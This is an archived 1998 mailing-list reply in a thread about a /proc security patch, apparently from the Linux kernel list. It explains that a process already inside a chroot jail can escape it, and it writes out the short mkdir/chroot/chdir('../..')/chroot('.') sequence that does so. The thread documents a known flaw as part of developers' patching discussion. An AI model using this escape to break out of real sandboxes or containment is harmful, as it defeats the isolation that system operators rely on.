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    SubjectRe: Security patch for /proc
    On Thu, 2 Apr 1998, Jeremy Fitzhardinge wrote:

    > Robert Bihlmeyer wrote:
    > > Alan Cox wrote:
    > > >> mkdir("x"); chroot("x"); chdir("../../../../../../../..");
    > > >> chroot(".");
    > > You tried it? One will escape from x with that.
    >
    > Well, one was never really captured. I didn't notice the missing chdir,
    > but its well known behaviour that if you never chdir into a chroot jail,
    > you can easily "escape".

    You missed the point. You _are_ already in a chroot jail, this is how you
    escape from it.

    mkdir("foo"); chroot("foo"); chdir("foo");

    # you are in the "jail" now

    mkdir("x"); chroot("x"); chdir("../../../../../.."); chroot(".");

    # no more jail...


    Ionut

    --
    It is better to keep your mouth shut and be thought a fool,
    than to open it and remove all doubt.


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